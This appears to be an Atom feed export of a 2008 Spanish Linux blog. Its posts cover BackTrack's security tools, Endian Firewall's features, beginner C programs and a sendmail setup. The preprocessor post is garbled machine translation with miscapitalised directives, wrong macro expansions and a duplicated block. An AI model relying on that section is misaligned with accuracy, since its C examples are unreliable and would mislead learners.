/&gt;Alguna, la plataforma de análisis de la seguridad se inicia directamente desde el CD-Rom / USB / Red o RAM y es totalmente accesible en cuestión de minutos. Independiente del hardware utilizado, el BACKTRACK ofrece una colección de HERRAMIENTAS de seguridad , entorno de trabajo de auditoría, l.Incluso durante la planificación y EL objetivo era lograr una excelente facilidad de uso combinado con una Óptima gama de herramientas. con programas opensource se puede analizar Su seguridad, byte a byte.&lt;br /&gt;&lt;br /&gt;Cuenta con el apoyo de reconocidos fases de un control de seguridad.Escaneo, wireless,Adecuada. Además de los alrededor de 300 herramientas, la seguridad de BACKTRACK Colección contiene un entorno de trabajo para herramientas y configuraciones complejas, como &lt;span style="font-weight: bold;"&gt;Snort&lt;/span&gt;, ntop,&lt;br /&gt;Db_autopwn, kismet con gps apoyo, kismet automáticas, de apoyo y unicornscan pgsql&lt;br /&gt;&lt;br /&gt;Otros unas características ingeniosas.&lt;br /&gt;Actualidad herramientas de productividad tales como el navegador web, editores gráficos y herramientas le permiten crear o Editar los textos y fotografías de informes, directamente dentro de la plataforma de seguridad de bACKTRACK.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-2709192085880722399?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/2709192085880722399/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=2709192085880722399' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2709192085880722399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2709192085880722399'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/backtrack.html' title='BACKTRACK'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_X3QcW21Qw2k/R5_Cj4nwQWI/AAAAAAAAACY/fhN70iXQnkc/s72-c/officialma3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-8127585874195325480</id><published>2008-01-24T15:20:00.000-08:00</published><updated>2008-01-25T09:47:56.753-08:00</updated><title type='text'>Distribucion GNU/LINUX Endian.</title><content type='html'>GNU/LINUX Endian.&lt;br /&gt;Endian Firewall Security Appliances&lt;br /&gt;Endian Firewall es una distribución linux que convierte,  a todo el sistema completamente en un  dispositivo de seguridad. El software ha sido diseñado con "facilidad de uso" y es muy fácil de instalar, utilizar y administrar, sin perder su flexibilidad ya que Las características incluyen un firewall de inspección de estado de paquetes, proxies a nivel de aplicación para los distintos protocolos (HTTP, POP3, SMTP, SIP) con el apoyo del antivirus, y spamfiltering para tráfico de correo electrónico (POP y SMTP), el filtrado de contenidos de la web de tráfico y una "solución VPN (basado en OpenVPN). &lt;br /&gt;&lt;br /&gt;La principal ventaja de Endian Firewall ™ es que se trata de una pura Solucion "Open Source"..&lt;br /&gt;&lt;br /&gt;Caracteristicas&lt;br /&gt;&lt;br /&gt;- Módulo de Base - Endian Firewall 1,1 &lt;br /&gt;- Firewall (inspección Stateful) &lt;br /&gt;- IPSec VPN Gateway a la puerta de enlace &lt;br /&gt;- Remoto IPSec VPN de cliente a puerta de enlace &lt;br /&gt;- NAT - Multi-dirección IP de apoyo (alias) &lt;br /&gt;- Dynamic DNS - DMZ apoyo &lt;br /&gt;- HTTPS Interfaz Web &lt;br /&gt;- Detallados gráficos de tráfico de la red &lt;br /&gt;- Ver las conexiones activas actualmente &lt;br /&gt;- Administración de registros de sucesos &lt;br /&gt;- Acceda al log a un servidor externo&lt;br /&gt;- Servidor DHCP &lt;br /&gt;- Servidor NTP &lt;br /&gt;- Traffic Shaping / QoS &lt;br /&gt;- Transparente POP3 antivirus / antispam proxy &lt;br /&gt;- HTTP proxy transparente &lt;br /&gt;- Web Proxy con los usuarios locales , De dominio de Windows, samba, LDAP. &lt;br /&gt;- Radius server management &lt;br /&gt;- Sistema de Detección de Intrusión &lt;br /&gt;- Apoyo para modem ADSL - Configuración de copia de seguridad y restauración &lt;br /&gt;- Actualización remota &lt;br /&gt;- VoIP SIP Proxy * NUEVO!&lt;br /&gt;- Módulo Antivirus basado en clamav&lt;br /&gt;- Endian Firewall 1,1 &lt;br /&gt;- HTTP Antivirus &lt;br /&gt;- Herramientas para la Seguridad Endian ws &lt;br /&gt;- Transparente SMTP antivirus / antispam proxy. &lt;br /&gt;- VPN Gateway Module &lt;br /&gt;- Gateway como puerta de enlace VPN con OpenVPN &lt;br /&gt;- Cliente remoto a VPN gateway (roadwarrior) con OpenVPN &lt;br /&gt;- Puente y VPN modo Routedor &lt;br /&gt;- Endian Cliente VPN - Windows, Linux, MacOSX&lt;br /&gt;- Modulo de Filtro de Contenido Web , Listas blancas y listas negras de gestión &lt;br /&gt;- Límites de tiempo de navegación en la Web&lt;br /&gt;Servidor de ssh&lt;br /&gt;&lt;br /&gt;Lo podemos sintetizar en los siguientes puntos importantes.&lt;br /&gt;&lt;br /&gt;1-Escalable con Hardware&lt;br /&gt;2-Proteccion contra Zero Day Attacks&lt;br /&gt;3-Fácil, rápida y seguro SSL VPN&lt;br /&gt;4-Gateway Antivirus&lt;br /&gt;5-Web Seguridad web&lt;br /&gt;6-Seguridad Email&lt;br /&gt;7-Comprensivo Mudulo de Licensiamiento.&lt;br /&gt;8- Avanzado Modulo de  Networking&lt;br /&gt;9- Completa seguridad, escalabilidad y estabilidad atravez de una gestion unificada de amenazas &lt;br /&gt;&lt;br /&gt;Se integra una interfaz web que nos permite administrar y configurar los servicios que tengamos que utilizar , lo veremos mas adelante.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_X3QcW21Qw2k/R5ogqonwQSI/AAAAAAAAAB4/U6q1-24p5xY/s1600-h/efw_home.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_X3QcW21Qw2k/R5ogqonwQSI/AAAAAAAAAB4/U6q1-24p5xY/s320/efw_home.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5159472239937077538" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;by JONATHAN ANGELES GARCIA.&lt;br /&gt;EKXO&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-8127585874195325480?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/8127585874195325480/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=8127585874195325480' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/8127585874195325480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/8127585874195325480'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/endian-linux.html' title='Distribucion GNU/LINUX Endian.'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_X3QcW21Qw2k/R5ogqonwQSI/AAAAAAAAAB4/U6q1-24p5xY/s72-c/efw_home.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-486797507423181354</id><published>2008-01-24T08:38:00.000-08:00</published><updated>2008-01-24T10:14:18.597-08:00</updated><title type='text'>Programando en C whit Linux (funciones)</title><content type='html'>Empezamos por saber que es una funcion , bueno la idea de una funcion es encapsular un procedimiento o idea del programa en un nombre para poder usarlo en varias partes del programa con solo llamarlo.existe una funcion con un nombre muy especial es una funcion llamada main() es la primera funcion que entra cuando un programa empieza a correr , cuando el progama deja la funcion main se al final del programa. aqui hay un example..&lt;br /&gt;&lt;br /&gt;root@victoria:~#vim ejemplo.c&lt;br /&gt;&lt;br /&gt;     #include &lt;stdio.h&gt;&lt;br /&gt;     /*&lt;br /&gt;     * AQUI LE DECIMOS AL COMPILADOR QUE VAMOS A INTENTAR USAR LA FUNCION show_message.&lt;br /&gt;     * QUE NO TIENE ARGUMENTOS Y NO REGRESA NINGUN VALOR..&lt;br /&gt;     * DECLARACON ES LA SIGUIENTE..&lt;br /&gt;     *&lt;br /&gt;     */&lt;br /&gt;     void show_message(void);&lt;br /&gt;     &lt;br /&gt;    main(){&lt;br /&gt;         int count;&lt;br /&gt;         count = 0;&lt;br /&gt;         while(count &lt; 10){&lt;br /&gt;                  show_message();&lt;br /&gt;                  count = count + 1;&lt;br /&gt;         }&lt;br /&gt;         exit(0);&lt;br /&gt;    }&lt;br /&gt;    /*&lt;br /&gt;    * LAS SIGUIENTES LINEAS SON DE UNA FUNCION SIMPLE.&lt;br /&gt;    * AQUI ESTA LA DEFINICION&lt;br /&gt;    */&lt;br /&gt;    void show_message(void){&lt;br /&gt;         printf("hello\n");&lt;br /&gt;    }&lt;br /&gt;OKAS!!!!!!!!! CORRANLO..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-486797507423181354?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/486797507423181354/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=486797507423181354' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/486797507423181354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/486797507423181354'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/programando-en-c-whit-linux-funciones.html' title='Programando en C whit Linux (funciones)'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-6291256933122012335</id><published>2008-01-22T16:02:00.000-08:00</published><updated>2008-02-21T20:20:51.218-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='short integer'/><title type='text'>Programando en C whit  linux</title><content type='html'>NADIE SE SALVA DEL HOLA MUNDO TAL VEZ SEA MUY TONTO PERO ASI SE EMPIEZA PORLO MAS SENCILLO HASTA HACER ALGO MAS INTERESANTE. yo utilizo gnu/gcc como compilador ustedes pueden utilizar otro pero a mi pareser es el mas chingon.&lt;br /&gt;&lt;br /&gt;1.UTILIZAMOS UN EDITOR DE TEXTO EN MI CASO VIM TENIENDO EN CUENTA QUE MI ARCHIVO SE LLAMARA HOLA.C&lt;br /&gt;&lt;br /&gt;root@victoria:~# vim hola.c&lt;br /&gt;y el codigo es algo asi &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;        printf("linux 4 everyone\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_X3QcW21Qw2k/R75NeC3ld4I/AAAAAAAAAEM/igh5aZJfRBs/s1600-h/Pantallazo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_X3QcW21Qw2k/R75NeC3ld4I/AAAAAAAAAEM/igh5aZJfRBs/s200/Pantallazo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5169654600829335426" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The first C program&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cerramos y guardamos el editor&lt;br /&gt;&lt;br /&gt;2.ahora compilamo y generamos el ejecutable&lt;br /&gt;POR LO REGULAR LA SALIDA DE NUESTRO PROGRAMA SE LLAMARIA o.out pero LA PODEMOS MODIFICAR CON EL PARAMETRO -o asi quedara COMO EKXO&lt;br /&gt;&lt;br /&gt;root@victoria:~#gcc hola.c -o EKXO&lt;br /&gt;&lt;br /&gt;LA SALIDA DEL PROGRAMA ES ESTA:&lt;br /&gt;&lt;br /&gt;root@victoria:~#./EKXO &lt;br /&gt;&lt;br /&gt;linux 4 everyone&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BUENO AHORA PUS QUE TAL SI HACEMOS UN FORMULAZO..formula oC=(5/9) (oF-32) PARA TENER LA TABLA DE                                                            TEMPERATURA Fahrenheit Y CENTIGRADOS Y SU EQUIVALENTE EN Celsius..&lt;br /&gt;&lt;br /&gt;/*#include&lt;stdio.h&gt; ,,,,no se por que rayos no se ve completa esta linea en el post pero primero incluimos las librerias estandar stdio.h*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;/* Este programa imprime la tabla Fahrenheit-Celsius&lt;br /&gt;    for fahr = 0, 20, ..., 300 */&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;  int fahr, celsius;/*variables de tipo entero*/&lt;br /&gt;  int lower, upper, step;&lt;br /&gt;  lower = 0;      /* escala de temperatura baja */&lt;br /&gt;  upper = 300;    /* limite alto */&lt;br /&gt;  step = 20;      /* tamaño de paso */&lt;br /&gt;  fahr = lower; /*inicializamos a fahr en 0 */&lt;br /&gt;  while (fahr &lt;= upper) {&lt;br /&gt;      celsius = 5 * (fahr-32) / 9;&lt;br /&gt;      printf("%d\t%d\n", fahr, celsius);&lt;br /&gt;      fahr = fahr + step;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ekxo@desarrollo ~]$ gcc temperatura.c -o temperatura&lt;br /&gt;[ekxo@desarrollo ~]$ ./temperatura &lt;br /&gt;0       -17&lt;br /&gt;20      -6&lt;br /&gt;40      4&lt;br /&gt;60      15&lt;br /&gt;80      26&lt;br /&gt;100     37&lt;br /&gt;120     48&lt;br /&gt;140     60&lt;br /&gt;160     71&lt;br /&gt;180     82&lt;br /&gt;200     93&lt;br /&gt;220     104&lt;br /&gt;240     115&lt;br /&gt;260     126&lt;br /&gt;280     137&lt;br /&gt;300     148&lt;br /&gt;&lt;br /&gt;AQUI INDICAMOS QUE LAS VARIABLES SON ENTERAS ,EN LA DECLARACION DE VARIABLES SE DEBE TERMINAR CON [;] POR EL CONTRARIO ALAS VARIABLES TIPO FLOAT QUE TIENEN PARTE FRACCIONARIA  C TIENE ADEMAS DE ESTOS TIPOS DE VARIABLES LAS SIGUIENTES TAMBIEN.&lt;br /&gt;&lt;br /&gt;char   character - a single byte      &lt;br /&gt;short  short integer&lt;br /&gt;long   long integer&lt;br /&gt;double double-precision floating point&lt;br /&gt;&lt;br /&gt;int fahr, celsius;&lt;br /&gt;int lower, upper, step;&lt;br /&gt;&lt;br /&gt;AQUI INICIALIZAMOS LAS VARIABLES.&lt;br /&gt;&lt;br /&gt;lower = 0;&lt;br /&gt;upper = 300;&lt;br /&gt;step = 20;&lt;br /&gt;&lt;br /&gt;Cada línea de la tabla se calcula de la misma manera, por lo que SE USA un bucle que se repite una vez por salida , que es la finalidad del bucle while&lt;br /&gt;&lt;br /&gt;while (fahr &lt;= upper) {&lt;br /&gt;   ...&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Mientras que (fahr &lt;= superior) (&lt;br /&gt;           ...&lt;br /&gt;       )&lt;br /&gt;&lt;br /&gt;El bucle while funciona de la siguiente manera: la condición entre paréntesis se prueba. Si es verdad (fahr Es menor o igual a upper), el cuerpo del bucle continua con (los tres estados encerrado entre llaves)Se ejecutan. Entonces, la condición es volver a la prueba, y de ser ciertas, el cuerpo se ejecuta de nuevo. Cuando se Prueba se convierte en falsa (fahr supera upper), el bucle termina, y la ejecución continúa en la Declaración que sigue despues del bucle. y como No hay más declaraciones en este programa,Termina. okas..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-6291256933122012335?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/6291256933122012335/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=6291256933122012335' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/6291256933122012335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/6291256933122012335'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/programando-en-c-whit-linux.html' title='Programando en C whit  linux'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_X3QcW21Qw2k/R75NeC3ld4I/AAAAAAAAAEM/igh5aZJfRBs/s72-c/Pantallazo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-2989810798849702546</id><published>2008-01-20T19:35:00.000-08:00</published><updated>2008-01-20T19:56:56.968-08:00</updated><title type='text'>USANDO GNU/GCC El preprocesador</title><content type='html'>DIRECTIVAS:&lt;br /&gt;&lt;br /&gt;La directiva # define crea la definición de una macro. La macro tiene un nombre que,&lt;br /&gt;Cuando se encuentran en otra parte del texto, se sustituye por la cadena de caracteres definidos como El valor de la macro. Es posible especificar los parámetros que se van a usar como parte&lt;br /&gt;Expansión de la macro.La mayoría de las definiciones macro son, en efecto, constantes con nombre. Estos nombres son tradicionalmente En letras mayúsculas. &lt;br /&gt;&lt;br /&gt;Por ejemplo ESTA , la siguiente definición crea un macro llamado&lt;br /&gt;&lt;br /&gt;ARRAY_SIZE que hará que el valor de la inserción de 512 dondequiera que se utiliza en la&lt;br /&gt;Código fuente:&lt;br /&gt;&lt;br /&gt;#define ARRAY_SIZE 512&lt;br /&gt;&lt;br /&gt;Este macro pueden utilizarse posteriormente para declarar una matriz de tamaño especificado,&lt;br /&gt;De la siguiente manera:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int valarray[ARRAY_SIZE];&lt;br /&gt;&lt;br /&gt;El siguiente es un conocido macro que utiliza parámetros para crear una expresión&lt;br /&gt;Que devuelve el mínimo de dos valores:&lt;br /&gt;&lt;br /&gt;#define min(a,b) ((a) &lt; (b) ? (a) : (b))&lt;br /&gt;&lt;br /&gt;# Define       Define un nombre como una macro que se expandirá el preprocesador&lt;br /&gt;&lt;br /&gt;               En el código de cada lugar se utiliza el nombre.&lt;br /&gt;               Proporciona una alternativa de expresión a ser evaluada por un&lt;br /&gt;# Elif&lt;br /&gt;               # Si directiva.&lt;br /&gt;               Proporciona un conjunto alternativo de código para ser compilado si un&lt;br /&gt;# Otra persona&lt;br /&gt;               Si #, # ifdef, # ifndef o es falsa.&lt;br /&gt;                                                                                     Usando el compilador&lt;br /&gt;               Produce un mensaje de error y detiene el preprocesador.&lt;br /&gt;# Error&lt;br /&gt;                                                                                                       COLECCIÓN&lt;br /&gt;               Compila el código entre esta directiva y su equiparación&lt;br /&gt;# Si&lt;br /&gt;               # Endif sólo si evaluar una expresión aritmética de los resultados&lt;br /&gt;En un valor distinto de cero.&lt;br /&gt;               Compila el código entre esta directiva y su equiparación&lt;br /&gt;# Ifdef&lt;br /&gt;               # Endif sólo si el nombre de macro ha sido definido.&lt;br /&gt;               Compila el código entre esta directiva y su equiparación&lt;br /&gt;# Ifndef&lt;br /&gt;               # Endif sólo si el nombre de macro no se ha definido.&lt;br /&gt;               Las búsquedas a través de una lista de directorios hasta encontrar el nombre&lt;br /&gt;# Include&lt;br /&gt;               Archivo; entonces se inserta el contenido del archivo como si se hubiera&lt;br /&gt;               Insertado por un editor de texto.&lt;br /&gt;Include_next # # El mismo que incluyen, pero esta directiva comienza la búsqueda&lt;br /&gt;               Para el archivo en el directorio siguiente a aquel en el que el&lt;br /&gt;               Archivo actual se encontró.&lt;br /&gt;               Especifica el número de línea, y, posiblemente, el nombre del archivo, que&lt;br /&gt;# Línea&lt;br /&gt;               Se informa que el compilador que se utilizará para crear la depuración&lt;br /&gt;               Información en el archivo objeto.&lt;br /&gt;               Un método estándar de proporcionar información adicional&lt;br /&gt;# Pragma&lt;br /&gt;               Que pueden ser específicas para un compilador o una plataforma.&lt;br /&gt;               Elimina una definición previamente creadas por un # define&lt;br /&gt;# Undef&lt;br /&gt;               Directiva.&lt;br /&gt;               &lt;br /&gt;#warning      Produce un mensaje de advertencia desde el preprocesador.&lt;br /&gt;&lt;br /&gt;##            El operador de concatenación, que se puede utilizar dentro de&lt;br /&gt;               Una macro para combinar dos cadenas en una sola.&lt;br /&gt;&lt;br /&gt;esta macro puede ser ampliado en el código fuente mediante el uso de su nombre y valores&lt;br /&gt;Para ser sustituido por a y b:&lt;br /&gt;     Resultado = min (44, uplim);&lt;br /&gt;     El código de esta macro ampliado tendrá este aspecto:&lt;br /&gt;     Resultado = ((44) &lt;(uplim)? (44): (uplim));&lt;br /&gt;     La siguiente es una lista de características y reglas que se aplican a las macro definiciones:&lt;br /&gt;      ■ Una macro definición figura en una línea. Si usted necesita escribir en múltiples&lt;br /&gt;         O líneas de claridad, debido a su longitud, puedemos  hacerlo mediante el uso de la barra invertida como&lt;br /&gt;         Una línea continua, como en el ejemplo siguiente, que es la expresión&lt;br /&gt;         Int devolver un valor aleatorio en el rango especificado:&lt;br /&gt;         # Define corrió (baja, alta) \&lt;br /&gt;                    ((Int) random ()% (alta-baja +1)) \&lt;br /&gt;                      + Baja&lt;br /&gt;      ■ El preprocesador procesos en el texto y sólo para hacer macro&lt;br /&gt;         Sustituciones después de la macro se ha definido. &lt;br /&gt;         Por ejemplo, en los siguientes&lt;br /&gt;         Cuatro líneas de código, la macro B se utiliza una vez antes de que se ha definido y&lt;br /&gt;         Una vez después de:&lt;br /&gt;         # Define A 100&lt;br /&gt;         Suma = A + B;&lt;br /&gt;         # Define B 200&lt;br /&gt;         Suma = A + B;&lt;br /&gt;         El resultado de preprocesamiento de estas cuatro líneas es la siguiente:&lt;br /&gt;         Suma + B = 100;&lt;br /&gt;         Suma = 100 + 200;&lt;br /&gt;      ■ Las sustituciones son recursivo, por lo que pueden ser anidados uno dentro del otro. Es decir,&lt;br /&gt;         Una vez a la sustitución se ha hecho, el proceso de preprocesador que el mismo texto&lt;br /&gt;         De nuevo a realizar más sustituciones. El siguiente ejemplo muestra cómo una&lt;br /&gt;         Macro puede ser sustituido por otro:&lt;br /&gt;         # Define TANKARD TSIZE&lt;br /&gt;         # Define TSIZE 100&lt;br /&gt;         Tank1 = TANKARD;&lt;br /&gt;         # Define TSIZE 200&lt;br /&gt;         Tank2 = TANKARD&lt;br /&gt;&lt;br /&gt;Preprocesamiento de estas cinco líneas de resultados en las siguientes:&lt;br /&gt;   Tank1 = 100;&lt;br /&gt;   Tank2 = 200;&lt;br /&gt;■ Para cambiar la definición de una macro, es necesario eliminarla y definirlo&lt;br /&gt;   Una vez más, como en el ejemplo siguiente:&lt;br /&gt;   # Define MLKEYVAL 889&lt;br /&gt;   # Undef MLKEYVAL&lt;br /&gt;   # Define MLKEYVAL 890&lt;br /&gt;Preprocesamiento de estas cinco líneas de resultados en las siguientes:&lt;br /&gt;   Tank1 = 100;&lt;br /&gt;   Tank2 = 200;&lt;br /&gt;■ Para cambiar la definición de una macro, es necesario eliminarla y definirlo&lt;br /&gt;   Una vez más, como en el ejemplo siguiente:&lt;br /&gt;   # Define MLKEYVAL 889&lt;br /&gt;   # Undef MLKEYVAL&lt;br /&gt;   # Define MLKEYVAL 890&lt;br /&gt;&lt;br /&gt;Usando el compilador &lt;br /&gt;&lt;br /&gt;■ Para una macro que se define como aquel que tiene parámetros, no debe haber espacios&lt;br /&gt;                                                                                                                                                             COLECCIÓN&lt;br /&gt;                                                                                                                                                             Entre el nombre de la macro y el paréntesis. &lt;br /&gt;&lt;br /&gt;El siguiente ejemplo&lt;br /&gt;                                                                                                                                                             Muestra una macro definida con parámetros y uno con una cadena simple&lt;br /&gt;                                                                                                                                                             La sustitución:&lt;br /&gt;                                                                                                                                                             # Define showint (a) printf ( "% d \ n", a)&lt;br /&gt;                                                                                                                                                             # Define incrint (a) a + +&lt;br /&gt;                                                                                                                                                             Showint (300);&lt;br /&gt;                                                                                                                                                             Incrint (bbls);&lt;br /&gt;                                                                                                                                                             El siguiente es el resultado de preprocesamiento de las líneas anteriores:&lt;br /&gt;                                                                                                                                                             Printf ( "% d \ n", 300);&lt;br /&gt;                                                                                                                                                             (A) + a + (bbls)&lt;br /&gt;■ Macro nombres no son sustituidas dentro de las cadenas, como en el ejemplo siguiente:&lt;br /&gt;                                                                                                                                                             # Define BLOQUE 8192&lt;br /&gt;                                                                                                                                                             Printf ( "El número BLOQUE. \ N");&lt;br /&gt;                                                                                                                                                             La salida se ve así:&lt;br /&gt;                                                                                                                                                             El número BLOQUE.&lt;br /&gt;■ Un argumento pasado a una macro se puede "stringized" por su anterior nombre con&lt;br /&gt;   Un hash (#) de caracteres. En el siguiente ejemplo, la macro contiene el nombre MONCK&lt;br /&gt;   Stringized una versión de su argumento, que se combina con otras cadenas (por&lt;br /&gt;   Que se coloca cerca de los mismos):&lt;br /&gt;                                                                                                                                                             # Define MONCK (ARGTERM) \&lt;br /&gt;                                                                                                                                                                  Printf ( "El término" # ARGTERM "es una cadena \ n")&lt;br /&gt;                                                                                                                                                             MONCK (punto A al punto B);&lt;br /&gt;                                                                                                                                                             La salida se ve así:&lt;br /&gt;                                                                                                                                                             El término A de B es una cadena&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-2989810798849702546?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/2989810798849702546/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=2989810798849702546' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2989810798849702546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2989810798849702546'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/usando-gnugcc-el-preprocesador.html' title='USANDO GNU/GCC El preprocesador'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-5910023602566945214</id><published>2008-01-18T11:17:00.000-08:00</published><updated>2008-01-18T11:24:38.225-08:00</updated><title type='text'>INSTALL SEND MAIL</title><content type='html'>Instalacion de sendmail. En centos&lt;br /&gt;&lt;br /&gt;1-Programática requerida.&lt;br /&gt;• &lt;br /&gt;sendmail&lt;br /&gt;• &lt;br /&gt;make&lt;br /&gt;• &lt;br /&gt;sendmail-cf&lt;br /&gt;• &lt;br /&gt;cyrus-sasl&lt;br /&gt;• &lt;br /&gt;dovecot (o bien imap)&lt;br /&gt;• &lt;br /&gt;cyrus-sasl-md5&lt;br /&gt;• &lt;br /&gt;m4&lt;br /&gt;• &lt;br /&gt;cyrus-sasl-plain&lt;br /&gt;2- [root@localhost .ssh]# service saslauthd start&lt;br /&gt;Iniciando saslauthd:                                       [  OK  ]&lt;br /&gt;[root@localhost .ssh]# chkconfig saslauthd on&lt;br /&gt;&lt;br /&gt;3- dominios que vamos a administrar&lt;br /&gt;[root@localhost mail]# vim /etc/mail/local-host-names &lt;br /&gt; &lt;br /&gt;# local-host-names - include all aliases for your machine here.&lt;br 